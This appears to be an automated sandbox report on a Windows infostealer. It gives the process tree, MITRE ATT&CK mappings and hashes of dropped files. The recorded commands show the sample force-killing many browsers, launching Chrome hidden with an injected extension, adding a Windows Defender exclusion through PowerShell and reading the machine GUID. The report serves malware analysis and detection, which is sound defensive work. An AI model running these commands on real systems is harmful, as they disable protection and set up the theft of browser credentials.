      Kills process with taskkill
      PID:5716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4072
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM brave.exe
      4⤵
      Kills process with taskkill
      PID:2920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5780
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM firefox.exe
      4⤵
      Kills process with taskkill
      PID:5768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3428
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera.exe
      4⤵
      Kills process with taskkill
      PID:3232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5164
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM kometa.exe
      4⤵
      Kills process with taskkill
      PID:5132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1784
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM orbitum.exe
      4⤵
      Kills process with taskkill
      PID:4736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM centbrowser.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4980
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM centbrowser.exe
      4⤵
      Kills process with taskkill
      PID:3356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 7star.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3604
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM 7star.exe
      4⤵
      Kills process with taskkill
      PID:2216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM sputnik.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1236
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM sputnik.exe
      4⤵
      Kills process with taskkill
      PID:4312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3416
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM vivaldi.exe
      4⤵
      Kills process with taskkill
      PID:5184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM epicprivacybrowser.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4336
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM epicprivacybrowser.exe
      4⤵
      Kills process with taskkill
      PID:3708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5168
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM uran.exe
      4⤵
      Kills process with taskkill
      PID:3440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5200
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM yandex.exe
      4⤵
      Kills process with taskkill
      PID:2300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM iridium.exe"
    3⤵
    - Executes a command shell one-liner
    PID:404
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM iridium.exe
      4⤵
      Kills process with taskkill
      PID:2552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    - Executes a command shell one-liner
    PID:2540
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    - Executes a command shell one-liner
    PID:4764
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:5084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" "--load-extension=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Chrome" "--disable-extensions-except=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\Chrome" --disable-popup-blocking --profile-directory=Default --window-position=-32000,-32000 --window-size=800,600
    3⤵
    PID:5292
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe5980c728,0x7ffe5980c734,0x7ffe5980c740
      4⤵
      PID:4048
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1452,i,5465041171652664259,12414027730159009840,524288 --field-trial-handle=1980,i,15664798788681904230,798277069135036906,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2132 /prefetch:11
      4⤵
      System Time Discovery
      PID:5548
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1596,i,14378030670412147669,6037637948468059879,262144 --field-trial-handle=1980,i,15664798788681904230,798277069135036906,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=1964 /prefetch:2
      4⤵
      PID:1696
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2304,i,13831205578874875760,14562738790867881778,524288 --field-trial-handle=1980,i,15664798788681904230,798277069135036906,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2276 /prefetch:13
      4⤵
      PID:5940
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2976,i,8042802598796836231,5188820510223086307,2097152 --field-trial-handle=1980,i,15664798788681904230,798277069135036906,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2992 /prefetch:1
      4⤵
      PID:6052
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2960,i,6502525339196544881,17011485742898751072,2097152 --field-trial-handle=1980,i,15664798788681904230,798277069135036906,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=2968 /prefetch:1
      4⤵
      PID:5028
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4460,i,17302588473245584053,16194521401560938298,2097152 --field-trial-handle=1980,i,15664798788681904230,798277069135036906,262144 --variations-seed-version=20260911-010032.103000-production --mojo-platform-channel-handle=4448 /prefetch:1
      4⤵
      PID:5400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\PickerHost\gos4fm'""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\PickerHost\gos4fm'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:5976
- C:\Users\Admin\AppData\Local\PickerHost\gos4fm\svc_model.exe
  C:\Users\Admin\AppData\Local\PickerHost\gos4fm\svc_model.exe FD0249FBDF88
  2⤵
  PID:5360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"
    3⤵
    - Executes a command shell one-liner
    PID:6008
  - - C:\Windows\System32\reg.exe
      C:\Windows\System32\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
      4⤵
      PID:2848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic desktopmonitor get screenwidth,screenheight"
    3⤵
    - Executes a command shell one-liner
    PID:5252
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic desktopmonitor get screenwidth,screenheight
      4⤵
      PID:6124

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5540

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

binding.gyp

Path C:\Users\Admin\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\binding.gyp
Size 938B
SHA256 d093676ff7f72b93d21cd1cb809167ab2198868f990eac8ab7dd4d196f33f18d
MD5 91d941775043df9c39de968e43d95e3b
SHA1 fd881a43ce443f0eedfd11d595eb47f873d0e083
SHA512 bbd8019c300e68d951b97e3d2b3e3088b110ee318b150b39b4c8e374a1239f929f6bc17b131ef8321d8e68ba443f28c0119f4605a97aa4061b4f3195591c6ded
TLSH
T12D1168BB423F5256D2FA1F7FA62C9B05D09963935158180BF47C60484FF2086466BE7E
MD5 SHA1 SHA512 TLSH

Submit Download

index.d.ts

Path C:\Users\Admin\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\dist\index.d.ts
Size 411B
SHA256 cb781599f1fa516e89e70f9cea142fbe35df7e42e2b48cf499839b8a23e203f4
MD5 fec85fa3a3a7565a40baf3ce1bb3ce01
SHA1 9ecd3b70ea677c149d32ff49179151647e867987
SHA512 d3633d143fa7dff7048aa9acaedb73171d5222828fe56300cb57b4ff2ad6fdf576dd54d3d757f7b83f9ab639c26ece6044882a7bd66b4ac293d0b32559cde56d
TLSH
T1F3E09B126933393F51E799D282C6C8075765CF399FD2646A7E190AC45B31624B04BB4F
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\dist\index.js
Size 412B
SHA256 a7ff0225cb5ebcbef8499c6c8ac2be924f584eb375dacb1d8bd3dc6540b510f2
MD5 0b33e83d33b01a51625a0fdcbef42ce3
SHA1 1c29d999ff7da39426b97f2eb31a3d83db8f5fc7
SHA512 1d04caf4fc2e876bdf2a089ae938a41fe4d3f2928aa846709bafd2de236fa8c754fcc84d7e8a5f5734bc1cecc04b395ab9d2114945b35e8c85cd3b9ee8f9799c
TLSH
T1BFE02B177EF5E8EAC64082CA4736D4531EE98CBB3600781AE2CA8AF25315984E490D24
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\package.json
Size 959B
SHA256 c5eea1db47cd8be555c6b22ca68b7186974c1d6361f5f29493695072b5ef7850
MD5 d6639ceb0cd714a765816893dd69c513
SHA1 635074891fe3ad8cadf4ef1e88fd556f81e99278
SHA512 3ae2dd9a0b76364771d08864b998aa313593fe2c5a130b40f44bad8853d442ddc9d472b73368d0cd4318e0f5e347efc37c6bbc1f7ce28392c9e7433750759898
TLSH
T1B911BF33CD248D731AF55BEABC385362F5220B3F44A48D0F70F6566C4B3716620A5B69
MD5 SHA1 SHA512 TLSH

Submit Download

node.napi.node

Path C:\Users\Admin\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\prebuilds\win32-x64\node.napi.node
Size 137KB
SHA256 da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd
MD5 04bfbfec8db966420fe4c7b85ebb506a
SHA1 939bb742a354a92e1dcd3661a62d69e48030a335
SHA512 4ea97a9a120ed5bee8638e0a69561c2159fc3769062d7102167b0e92b4f1a5c002a761bd104282425f6cee8d0e39dbe7e12ad4e4a38570c3f90f31b65072dd65
SSDEEP 3072:94PTD6FEzMju6bzJKjpEPeTOKvJhEnww+YbRYvPuq:94jQju6b9KilKvJurR8W
TLSH
T1B3D37D4BB3A500BBE176C639C8934A05E776B81517619B9F03A0475B1F237D1EE3EB22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dpapi_addon.h

Path C:\Users\Admin\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\src\dpapi_addon.h
Size 99B
SHA256 bf9639dd953de6f4ab47d68943f11f99907ff31ea4d05549150e89a21a6efb51
MD5 e1d8371e28e361e1c2186543cb7c5c15
SHA1 61a289e4b6357d6124e0673ad99fe3ed37780989
SHA512 46fd5fa577482b2d0a3800019bb70f1d7f48c36881830d2b1e68de5ba84ce5aca2ee0e7b11b5eb5ac1eee9640a69bd67e30ecde1290a075d92dba86ce26d5e87
TLSH
T1CBB01211C275394F54D4C1D72616ED003C89130C2F94E0142904524779055C5710B685
MD5 SHA1 SHA512 TLSH

Submit Download

dpapi_not_supported.cpp

Path C:\Users\Admin\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\src\dpapi_not_supported.cpp
Size 218B
SHA256 0c1d1737d698c15cacdfe963b8a84cffad1422fc0be1fd6995f0572b70492a1c
MD5 9b3c19681f02ac440971abbd69ed4b41
SHA1 4e76b0c252d900a68c76e1662442d998e71b5545
SHA512 d4a8ca44d3b30386fc499c920d57cb70453c6efc68583a6e3a3c41a0cca30dc2e113dbdfbd0cfffa8ee3e6d397f4140b9c9bcb4d9e6979c7b5c375ad1a126a0e
TLSH
T107D0A7969315321B56A1C18AA213D8106D4811095EACF6041219844EB6563D6314299D
MD5 SHA1 SHA512 TLSH

Submit Download

dpapi_win.cpp

Path C:\Users\Admin\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\src\dpapi_win.cpp
Size 2KB
SHA256 0773f2d8790fc5bef82815942188f5c9a58d88581e0f2423944f629add5a8cb9
MD5 03684197a24fb1d62d1be4d5d32e3598
SHA1 6ea714164b93627cab84f0ed28ec35164569424b
SHA512 4ce869a89559fa193535a68a21c206ee95e6ca124ef3152f08ca369e285817407bf5464396ae1f8534548d981e2b42e6db5e0c859527f3d83e93796092d82318
TLSH
T123514626BE3AB60F5490104B7936CC011A94E80403F9B1F4B9C10E99B5906FE3AFEBD9
MD5 SHA1 SHA512 TLSH

Submit Download

main.cpp

Path C:\Users\Admin\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\src\main.cpp
Size 589B
SHA256 b2b9ddbd143fe87f82e2f8cf6a8436ae20e5ebcd50a42773e1b2d49263dddd95
MD5 347a30eeebff5e2008ab642a05f1d05b
SHA1 8d88451e992121fa3f06d782c37b42de382868cb
SHA512 a6c003d41d55b316edc83bb16020b8fe33ca324d6c744af208499b98d9db964110588405f4206a88aae5cfa64b8c47801b84bad2ffeceb373a0df470785d39c1
TLSH
T11CF0468BA272B48F52D281A40316DC8C7D49280D4EA8F4745680C3CAF5826DFE016AD7
MD5 SHA1 SHA512 TLSH

Submit Download

dpapi.spec.ts

Path C:\Users\Admin\.cache\pkg\da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd\datavault-win\test\dpapi.spec.ts
Size 1KB
SHA256 d033879616fc3261b8bd529b14c06b29739c81b681dec25723cecbbf7877f2cd
MD5 e6a6dc8eb8daa683116ef2bba585ef13
SHA1 7ffac6f59d70c2367f6f084a158896f8e82c1924
SHA512 31479b2872fff897c2e53d424ce7fffd5e94dde0d18fb0b37f0b1adc7901c50a8d8640458651dbd1fff66314a8e169827d28a0d7b619718004d52ae529092128
TLSH
T1E9219A00BE3A125CD6FA51D11A9BDCA9A1A0EA2F27C2C742BA5FD9400F31394F5A4FD5
MD5 SHA1 SHA512 TLSH

Submit Download

node_sqlite3.node

Path C:\Users\Admin\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\Release\node_sqlite3.node
Size 1.8MB
SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
MD5 66a65322c9d362a23cf3d3f7735d5430
SHA1 ed59f3e4b0b16b759b866ef7293d26a1512b952e
SHA512 0a44d12852fc4c74658a49f886c4bc7c715c48a7cb5a3dcf40c9f1d305ca991dd2c2cb3d0b5fd070b307a8f331938c5213188cbb2d27d47737cc1c4f34a1ea21
SSDEEP 49152:lVtIA1xRrGLYLn9M+BMPPivsICK9rzoNEqt:7tH4X3inMZt
TLSH
T12B958D4BA2B400FDC1ABC179891B5A0BE7B27405177497DF15E08A696F23FE356BE320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqlite3-binding.js

Path C:\Users\Admin\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3-binding.js
Size 59B
SHA256 762c7a74d7f92860a3873487b68e89f654a21d2aaeae9524eab5de9c65e66a9c
MD5 8582b2dcaed9c5a6f3b7cfe150545254
SHA1 14667874e0bfbe4ffc951f3e4bec7c5cf44e5a81
SHA512 22ec4df7697322b23ae2e73c692ed5c925d50fde2b7e72bfc2d5dd873e2da51834b920dea7c67cca5733e8a3f5e603805762e8be238c651aa40290452843411d
TLSH
T1D1A002D1B590B39576E44054E5D486821C91C1E1A5535AA0C14986A51C4888055159A0
MD5 SHA1 SHA512 TLSH

Submit Download

sqlite3.js

Path C:\Users\Admin\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3.js
Size 6KB
SHA256 8d6b400ae7f69a80d0cdd37a968d7b9a913661fa53475e5b8de49dda21684973
MD5 275019a4199a84cfd18abd0f1ae497aa
SHA1 8601683f9b6206e525e4a087a7cca40d07828fd8
SHA512 6422249ccd710973f15d1242a8156d98fa8bdea820012df669e5363c50c5d8492d21ffefcdfa05b46c3c18033dde30f03349e880a4943feda8d1ee3c00f952b0
SSDEEP 192:QoM2Wd0WmO6pM+tPtVRhoh3hG/h1goWPQfAcCy7gPQbQwZQiR893+9dY:npM0I6aPkd/K
TLSH
T1A3D1514DEAE36434962F76E9861FA65930398547347C8A417D8EC3901FB5C2036ABFBC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

trace.js

Path C:\Users\Admin\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\trace.js
Size 1KB
SHA256 d06caec6136120c6fb7ee3681b1ca949e8b634e747ea8d3080c90f35aeb7728f
MD5 e5c2de3c74bc66d4906bb34591859a5f
SHA1 37ec527d9798d43898108080506126b4146334e7
SHA512 e250e53dae618929cbf3cb2f1084a105d3a78bdfb6bb29e290f63a1fd5fbb5b2fab934ad16bc285e245d749a90c84bdc72fdc1a77af912b7356c18b0b197fbe5
TLSH
T14421C18C5CD370A59B63F0AC636BA00C7579191330A4C590758CC350DFD1D6A87A3E9D
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\.cache\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\package.json
Size 2KB
SHA256 c782c19485b0026e209076a236484a62885cb3a0828322a2936043230ed1ec41
MD5 d0d759c39758174eca4580e6a04a2c15
SHA1 97366bb2fa9d63bb9660b3d130efb6d37a6b80ef
SHA512 b1f728883023d93ea46e72278a4dff96bf6489e37471f8804bd7d6c52f21b7ee284803cec589c941701a590458671f7c53d63f0f75500843ee25d8d4e60629d0
TLSH
T16241F2B5C83C1D632ACA29ABA87C5542E13298534CA9FC99F3DA415C8F1D52F60BE06D
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 9234610049b78b0c08109c68f4763b01ea08fdbf0fbbff17cad2308afa95f7f8
MD5 1fed8db226fa89ac12a153062148933a
SHA1 a8dbf958f8021b6beb052ac64648f4f4dac4646c
SHA512 29ff42652445dd712247857c4d62f4c789d356db944ed1d3587bab7c9254cc421c9bae92d78fa01ca40d57583de902aed894ac3f2f5d98737e2e8d2890b44d53
SSDEEP 192:ORAesfXv7+7pAPRp2R9ZHsb+WNnTm6dFDcUkwyv3VyIsnAUge:ORAe4/S7UXybwTvdFdSpe
TLSH
T1E332A42DEE20753B4CDED22EFA667B57D7F5102221952E84E6FC892C11E76CC2227027
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 11KB
SHA256 949732f322e081cbccf6217c812fc00a0b4537cd898984897d2d7390c80a70fe
MD5 0bdcaf4533c625d0e6cb1caf6aabb674
SHA1 ef5b1e6d5231edba82165a45a5cf650eac381ebb
SHA512 74a53241902f7eb8dccc3bda611bb0a1b314b9d1eeedc493fe1b6c69b8d379686ff376a65bd135b4b93f8a3cdc7c3d68c7d8501c5b321b1f3a640e9c11442031
SSDEEP 192:euh4K6M67KxkXqK4I40pUZNCgVLHrKHfFKslE12wXzKD/D++ErUkKNqSxhoyy8hc:3hjb67KxkXqKf/pUZNCgVLH2HfgslxwJ
TLSH
T1F332C827A48D9A7F4FECD509DC176F8FADF4015766780C28A3FB9C0803A578A114A6B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 132KB
SHA256 c15d686fa9444ab82d6bc71a59e83ab42fdde7cb0b9b116e332a74e3b5b88a06
MD5 0f4dc95c916fa743d99b8a0513c9602f
SHA1 86e39a6444e17c63f7c21d9ef8660eb47a7156a6
SHA512 685b9be5c364f28021210fe961f50d5f8c2520e7c4ca18b925488bb605c4849797f93b59bc8e36bfcede3d362e2d7fc6876873f7965addbc29f2b32e9acafbb8
SSDEEP 3072:5hgYVmX/M9F03bZTGnbgKfHWuoJqrAKrpQpbOYg3xCk:5xmX/B5UgKf2ne1utLk
TLSH
T1EED302BE9CDDEFA36392B026A9A91B6BC9F67BC59160DF4081F01185009F1FD43D9A13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 130KB
SHA256 27c6e44b1c42567214754585a4f589704370b052d0f5f3e59c73beccc80a376b
MD5 d623432b7615c7a2e16291251b289dc0
SHA1 04dae136cfc63b5c06dfe5b641ede64febba568c
SHA512 2cf5d20242e7e7402a30fa86a25c075db25b0c30b8208c8a6ebcbd492d69a38b409a59c0645c576d4b3d64556e69bdaba43a4a8cb90bda9202f579d147716ff7
SSDEEP 3072:UhgYVmX/M9F03bZTGnbgKfHWuoJqrAKrpQpbOYg3xC1:UxmX/B5UgKf2ne1utL1
TLSH
T1E3D302BF9DD9DFE36351B026B9A95B6EC9F67FC4A160DA4080F41085009F1FD4399A13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cache.exe

Path C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\cache.exe
Size 1.8MB
SHA256 a3870c485b350542231baca4a670099560f00ff1c92580880ae12ffb5d5d92c5
MD5 a3a364db88e6d6dfed98723f2f06b1f0
SHA1 63fde7d63cbd4189600ae833089390c7e4a50ba2
SHA512 3276e70c08396423850b70d6517db91ea3f48f43cd5f813b564da753957a52d7ef9e1be6365a109171347842373e2fa49defbb7faf1d13db76f83952eaf6dc81
SSDEEP 49152:KnvMWcBH1IHWfEXV6OZV0O/hny01uaT+X1TgK+:KvMWIGHEEcOf7hyKyVgD
TLSH
T1C885122AEB9504F9F1679178CD624902D771BC0E07B1DADF17D84A962F276D08E3EB02
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dwm_overlay.exe

Path C:\Users\Admin\AppData\Local\MediaOverlay\yixz6b\dwm_overlay.exe
Size 43.2MB
SHA256 99b50278706d427ab686266534b28e7c4e9b596f3dca4dfa88ca51190402f79a
MD5 acdb8ae641da5606c9f594886faa16c7
SHA1 80d719571273626dd367c4f4cc20177b597a0370
SHA512 49a34c0dd4ea448a9c15715cf9e428372bb64b549d7f7dc44610830e79a1f549bbc7847b700dc5267b96cf74d6d1dd581f0c6c31e42fd19344c1257b841538e7
SSDEEP 393216:M6F3TI9E/wpw2/pblsj7KfEfJInv3lMz5/oZxGsnxylfyYr8BUkpcI4NXr3/hIx9:M9HlkOm6iXdIxO1Miu
TLSH
T1BCA78C0673E601A5E5B3D2788AAB5103D773B8635730CBDF329C06552FAB6D09A7B720
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
